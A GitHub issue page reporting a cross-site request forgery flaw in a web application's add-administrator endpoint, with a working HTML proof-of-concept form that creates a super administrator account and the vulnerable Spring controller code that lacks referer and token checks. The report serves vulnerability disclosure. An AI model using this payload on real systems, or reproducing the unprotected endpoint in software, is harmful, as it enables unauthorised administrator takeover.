We read every piece of feedback, and take your input very seriously.
To see all available qualifiers, see our documentation.
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
The Add administrator Function is not check referer and token
PoC:
<html> <body> <script>history.pushState('', '', '/')</script> <form action="http://localhost/system/admin/admin_save" method="POST"> <input type="hidden" name="adminName" value="Diazrael" /> <input type="hidden" name="password" value="123456" /> <input type="hidden" name="repassword" value="123456" /> <input type="hidden" name="nickName" value="Diazrael" /> <input type="hidden" name="roleId" value="272835742965968896" /> <input type="hidden" name="email" value="Diazrael@admin.com" /> <input type="submit" value="Submit request" /> </form> </body> </html>
Problematic code:
//处理和保存管理员信息 @PostMapping("/admin_save") @ResponseBody public DataVo addAdminSave(@Valid Admin admin, BindingResult result){ DataVo data = DataVo.failure("操作失败"); try { if (result.hasErrors()) { List<ObjectError> list = result.getAllErrors(); for (ObjectError error : list) { return DataVo.failure(error.getDefaultMessage()); } return null; } data = adminService.addAdmin(admin); } catch (Exception e) { data = DataVo.failure(e.getMessage()); } return data; }
A super administrator account has been added successfully
The text was updated successfully, but these errors were encountered:
No branches or pull requests
The Add administrator Function is not check referer and token
PoC:
Problematic code:
A super administrator account has been added successfully
The text was updated successfully, but these errors were encountered: